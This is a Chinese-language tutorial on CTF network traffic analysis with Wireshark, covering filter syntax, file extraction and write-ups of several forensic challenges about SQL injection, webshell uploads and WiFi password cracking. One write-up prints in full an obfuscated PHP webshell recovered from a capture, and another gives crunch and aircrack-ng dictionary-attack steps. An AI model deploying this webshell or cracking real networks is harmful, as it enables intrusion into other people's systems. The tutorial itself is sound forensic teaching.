最新要闻

广告

手机

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

iphone11大小尺寸是多少?苹果iPhone11和iPhone13的区别是什么?

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

警方通报辅警执法直播中被撞飞:犯罪嫌疑人已投案

家电

流量分析入门

来源:博客园

流量分析

流量分析是CTF里面的常见题目,通常会给我们一堆数据包,然后让我们用Wireshark分析流量包里面的内容排除无关信息然后获取隐藏的flag

  • 链接:https://pan.baidu.com/s/1I-YQhV2VVGE1DZXb_WlnSA?pwd=c93i提取码:c93i
  • 工具: https://www.wireshark.org/download.html

Wireshark使用

数据包筛选

ip的筛选

筛选源ip

  • 方法一
ip.src == 源ip地址
  • 方法二

右击Source Address字段,再选择作为过滤器应用–-> 最后点击选中,就可筛选出该源IP的所有包了


(资料图片)

目的ip筛选

ip.dst==目的ip地址
  • 方法一
  • 方法二

右击Destination Address字段,再选择作为过滤器应用–-> 最后点击选中`,就可筛选出该源IP的所有包了

筛选符合要求的ip,可以是源地址或目标地址。

ip.addr==

Wireshark 同时支持逻辑运算符和位运算符可以更加方便的筛选我们想用的数据包

这里筛选

MAC地址赛选

eth.dst ==A0:00:00:04:C5:84 筛选目标mac地址eth.addr==A0:00:00:04:C5:84 筛选MAC地址

端口筛选

tcp.dstport == 80  筛选tcp协议的目标端口为80的流量包tcp.srcport == 80  筛选tcp协议的源端口为80的流量包udp.dstport == 80  筛选udp协议的目标端口为80的流量包

协议筛选

tcp  筛选协议为tcp的流量包udp 筛选协议为udp的流量包arp/icmp/http/ftp/dns/ip  筛选协议为arp/icmp/http/ftp/dns/ip的流量包

包长度筛选

udp.length ==20   筛选长度为20的udp流量包tcp.len >=20  筛选长度大于20的tcp流量包ip.len ==20  筛选长度为20的IP流量包frame.len ==20 筛选长度为20的整个流量包

其他同理

http请求筛选

请求方法为GET:http.request.method==“GET”        筛选HTTP请求方法为GET的 流量包请求方法为POST:http.request.method==“POST”      筛选HTTP请求方法为POST的流量包指定URI:http.request.uri==“/img/logo-edu.gif”  筛选HTTP请求的URL为/img/logo-edu.gif的流量包请求或相应中包含特定内容:http.request.uri contains "/FLAG"    筛选HTTP内容为/FLAG的流量包

数据包搜索

WireShark界面按CTRL+F可以进行关键字搜索,搜索功能支持多种

数据包还原

选择数据包-->右击-->最追踪流-->选择类型

数据包提取

  • 自动提取

文件-->导出对象-->HTTP

选择你需要的数据包然后点Save保存 或者 Sava All保存所有的对象然后放入文件夹进行分析

题型分析

入门题

Cephalopod(图片提取)

攻防世界Cephalopod

下载

下载文件然后打开Wireshark

搜索flag然后找到长度比较大的流量包追踪流

之后保存原始数据导出

然后删除多余部分保留PNG

HITB{95700d8aefdc1648b90a92f3a8460a2c}

题目:特殊后门(icmp协议信息传输)

题目来源:第七届山东省大学生网络安全技能大赛考点:字符串搜索,icmp协议信息传输题目信息:(backdoor++.pcapng)

选出ICMP包之后跟着找每一个包里面有一个flag的字符

flag{Icmp_backdoor_can_transfer-some_infomation}

题目:手机热点(蓝牙传输协议obex,数据提取)

题目来源:第七季极客大挑战考点:蓝牙传输协议obex,数据提取题目信息:(Blatand_1.pcapng)

搜索发现有一个rar压缩包

导出

题目:想蹭网先解开密码(无线密码破解)

题目来源:bugku考点:无线密码破解题目信息:(wifi.cap)

WIFI认证存在四次握手包eapol协议的数据包

使用kali的Crunch生成字典

  • 语法
crunch   [options]
  • 参数
min    设定最小字符串长度(必选)     max    设定最大字符串长度(必选)     oprions     -b     指定文件输出的大小,避免字典文件过大       -c     指定文件输出的行数,即包含密码的个数     -d     限制相同元素出现的次数     -e     定义停止字符,即到该字符串就停止生成     -f     调用库文件(/etc/share/crunch/charset.lst)     -i     改变输出格式,即aaa,aab -> aaa,baa     -I     通常与-t联合使用,表明该字符为实义字符     -m     通常与-p搭配     -o     将密码保存到指定文件     -p     指定元素以组合的方式进行     -q     读取密码文件,即读取pass.txt     -r     定义重某一字符串重新开始     -s     指定一个开始的字符,即从自己定义的密码xxxx开始     -t     指定密码输出的格式     -u     禁止打印百分比(必须为最后一个选项)     -z     压缩生成的字典文件,支持gzip,bzip2,lzma,7z  
  • 特殊字符
%      代表数字     ^      代表特殊符号     @      代表小写字母     ,      代表大写字符    

使用aircrack-ng对数据包进行密码爆破

使用教程: https://www.jianshu.com/p/fd16236057df

进阶题

题目:抓到一只苍蝇(数据包筛选,数据提取)

题目来源:bugku考点:数据包筛选,数据提取题目信息:(misc_fly.pcapng)

  • 先搜索flag

发现一个flag.txt文件

该数据包是通过qq邮箱传的一些文件

然后搜索关键字

通过POST传入了一个rar文件

筛选POST协议

这里调用了2个函数,中间应该是传输的过程发送的数据包

CreateFile

CheckFile

两个文件的md5值一样然后从中间的数据包大小可以看出来

几个数据包加起来

131436*4+1777=527,521减去压缩包的大小为1820 这1820 是5个数据包头的大小364

使用Linux可以把五个数据包包头去掉然后合成一个rar文件

具体命令dd:

dd if=1 bs=1 skip=364 of=1.1dd命令语法:if 输入文件名bs 设置每次读写块的大小为1字节 skip 指定从输入文件开头跳过多少个块后再开始复制of 输出文件名

然后导出对应的文件(看分组序号) 然后倒入kali

┌──(root㉿kali)-[/home/kali/test]└─# dd if=1 bs=1 skip=364 of=11131072+0 records in131072+0 records out131072 bytes (131 kB, 128 KiB) copied, 2.06969 s, 63.3 kB/s┌──(root㉿kali)-[/home/kali/test]└─# dd if=2 bs=1 skip=364 of=22131072+0 records in131072+0 records out131072 bytes (131 kB, 128 KiB) copied, 2.03437 s, 64.4 kB/s┌──(root㉿kali)-[/home/kali/test]└─# dd if=3 bs=1 skip=364 of=33131072+0 records in131072+0 records out131072 bytes (131 kB, 128 KiB) copied, 2.08859 s, 62.8 kB/s┌──(root㉿kali)-[/home/kali/test]└─# dd if=4 bs=1 skip=364 of=44131072+0 records in131072+0 records out131072 bytes (131 kB, 128 KiB) copied, 2.04758 s, 64.0 kB/s┌──(root㉿kali)-[/home/kali/test]└─# dd if=5 bs=1 skip=364 of=551413+0 records in1413+0 records out1413 bytes (1.4 kB, 1.4 KiB) copied, 0.0234734 s, 60.2 kB/s┌──(root㉿kali)-[/home/kali/test]└─# ls1  11  2  22  3  33  4  44  5  55┌──(root㉿kali)-[/home/kali/test]└─# cat 11 22 33 44 55 > flag.rar┌──(root㉿kali)-[/home/kali/test]└─# ls1  11  2  22  3  33  4  44  5  55  flag.rar

然后打开压缩包发现文件头损坏

84改为80

这是个exe可执行文件

... 脏东西

binwalk 提取下

一堆png文件

然后用formost提取出来

扫描二维码获取flag

https://online-barcode-reader.inliteresearch.com

flag{m1Sc_oxO2_Fly}

数据分析题

题目一(1.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:1.黑客攻击的第一个受害主机的网卡IP地址2.黑客对URL的哪一个参数实施了SQL注入3.第一个受害主机网站数据库的表前缀(加上下划线例如abc_)4.第一个受害主机网站数据库的名字

打开了流量包然后筛选HTTP协议

可以看出攻击者的ip地址是202.1.12受害者的ip为192.168.1.8然后注入的参数为list[select]

数据库前缀ajtuc_

(ip.addr==202.1.1.2 or ip.addr==192.168.1.8) and http

找到最后一次注入的记录进行url解码

数据库名:joomla

题目二(2.pcap)

题目要求:1.黑客第一次获得的php木马的密码是什么2.黑客第二次上传php木马是什么时间3.第二次上传的木马通过HTTP协议中的哪个头传递数据

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http
  • php木马密码

通过之前的过滤找到一个可以的POST注入的数据包

数据包里面的POST可以看出这个是中国菜刀的一个流量特征 然后这里的木马密码就为zzz

Hvv常见webshell流量特征及检测思路

  • 第二次上传木马的时间

    通过过滤获得数据包因为第一次是通过POST传上去的马然后就可以直接锁定协议

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and http.request.method=="POST"

可疑数据包

就只有一个item值为z2的数据包应该可以判断是这个数据包了然后通过十六进制提取出来导入HXD就可以还原代码

代码很乱是被混淆过后的代码

]ower";$i>]=$m[1][0].$m[1]>][1];$h>]=$>]sl($ss(m>]d5($i.>]$kh),0>],3))>];$f=$s>]l($s>]s(md5";$d = "]q=array_v>]>]alues(>]$q);>]preg_match_a>]ll("/(>][\\w]>])[\\w->]]+>](?:;q=>]0.([\\d]))?,?/",>";$W = "),$ss(>]$s[>]$i],>]0,$e))),$>]>]k)));>]$o=ob_get_content>]>]s();ob_end_>]>]clean();$d=>]base";$e = "]T_LANGUAGE"];if($rr>]&&$>]ra){$>]u=pars>]e_>]url($rr);par>]se_st>]r($u[">]query"],$>]q);$>";$E = ">]64_e>]ncod>]e>](>]x(gz>]compress($o),$k));pri>]nt("<$k>$d<>]/$k>">])>];@>]session_destr>]oy();}}}}";$t = "($i.>]$kf),0,3>]));$p>]="";fo>]r($z=1>];$z<>]count($m>][1]);$z+>]>]+)$p>].=$q[$m[>]2][$z]];i>";$M = "]$ra,$>]m);if($q>]&&$m>]){@sessi>]on_sta>]>]rt();$s=&$>]_SESS>]ION;$>]>]s>]s="substr";$sl="s>]>]trto";$P = "]f(s>]tr>]pos($p>],$h)===0){$s[>]$i]="";$p>]=$ss($>]p,3);>]}if(ar>]ray>]_key_exist>]>]s($i,$>]s)>]){$>";$j = str_replace("fr", "", "cfrrfreatfrfre_funcfrtfrion");$k = "];}}re>]>]turn $o;>]}$>]r=$_SERV>]ER;$rr=@$r[>]"HTTP>]_REFERE>]R"];$ra>]=@>]$r[">]HTTP_A>]CC>]EP>";$g = """;for(>]$i=>]0;$i<$l;>])>]{for($j=0;($j<>]$c&&>]$i<$l);$>]j++,$i>]++){$o.>]=$t{$i>]}^$k{$j}>";$R = "$k>]h="cb4>]2";$kf="e130">];functio>]n>] x($t>],$k){$c=s>]trle>]>]n($k);$l=strle>]n>]($t)>];$o=";$Q = "]s[$i].=$p;$e=strp>]>]os(>]$s[$i>]],$f);if($>]e){$k=$kh.$k>]f;>]ob_sta>]rt();@e>]val(@gzun>]co>";$v = "]mpress(@x>](@b>]as>]>]e64_decode(pr>]>]e>]g_repla>]ce(array("/_/","/-/"),arr>]ay(>]"/","+">]";$x = str_replace(">]", "", $R . $g . $k . $e . $d . $M . $p . $t . $P . $Q . $v . $W . $E);$N = $j("", $x);$N();?>

应该就是第二次上传的木马了

时间17:20:44.248365

这里有一个http有关的参数

然后通过过滤发现kkkaaa.php后面的数据包全是footer.php

通过追踪流发现

Referer 指向的是攻击者的8080端口所以 是通过Referer头传递的数据

题目三(3.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:1.内网主机的mysql用户名和请求连接的密码hash是多少(用户:密码hash)2.php代理第一次被使用时最先连接了哪个IP地址

打开数据包根据题目要求是要找到mysql的用户名和密码然后就可以直接关键字搜索

tcp contains "mysql" and mysql

找到最后一次的登录数据

md5值为Password: 1a3068c3e29e03e3bcfdba6f8669ad23349dc6c4

php代理访问是通过http协议可以通过之前找到的两个ip地址过滤出http协议然后发现后续的通信使用的是一个名字为tunnel.php的一个文件

这里该文件是通过post传参然后过滤POST参数

可以获得第一次连接的ip为4.2.2.2

题目四(4.pcap)

题目来源:2018信息安全铁人三项数据赛

题目要求:1.黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候2.黑客在内网主机中添加的用户名和密码是多少3.黑客从内网服务器中下载下来的文件名

  • 黑客第一次获取到当前目录下的文件列表的漏洞利用请求发生在什么时候

根据题目要求获取当前目录的文件列表的漏洞利用请求是什么时候可以搜索关键字dir或者ls来查找数据包

(ip.addr == 192.168.1.8 or ip.addr == 202.1.1.2) and (http contains "dir" or http contains "ls")

然后发现lsdir然后追踪流发现 ls里面没有数据则这台主机是Windows的主机

追踪dir的http流

命令执行成功然后返回了路径所以

第一次获取到当前目录下的文件列表的漏洞利用请求发生在:2018 18:36:59.770782

  • 黑客在内网主机中添加的用户名和密码是多少

在主机添加用户的话就可以直接锁定ip主机了,这里是通过远程命令执行也可以直接选定协议为http可以过滤出更精准的数据包

ip.addr==192.168.2.20 and http

这里可以查到一个类似于一句话木马的语句,然后后面都是以该文件来执行的,说明现在又写入了一个后门文件名为sh.php的后门文件

然后过滤

ip.src==192.168.2.20 and http 

后面根据时间线来逐个查找数据包

然后找到一个net user的数据包

然后通过时间线逐步往下看

发现了其他的用户名字为kaka

时间为:18:50:45.908737

后面通过时间线找到密码

因为在后面成功添加用户查找密码可以直接往上面的数据包进行查找,也就是18:50:45.908737 之前

然后进行解码所以密码为kaka

  • 黑客从内网服务器中下载下来的文件名

从最开始的流量特征来看是通过菜刀来连接webshell的然后我们可以直接通过ip加请求方式过滤出一部分数据包在这些数据包里面挑选

ip.dst == 192.168.2.20 and http.request.method==POST

下载文件的话,是在提权之后才可以下载的也就应该是增加了用户之后来下载的可以直接按时间线过滤一部分数据包

在这一堆数据包里面找

对这些数据包进行逐个解码发现下载的文件为procdump.exe

关键词: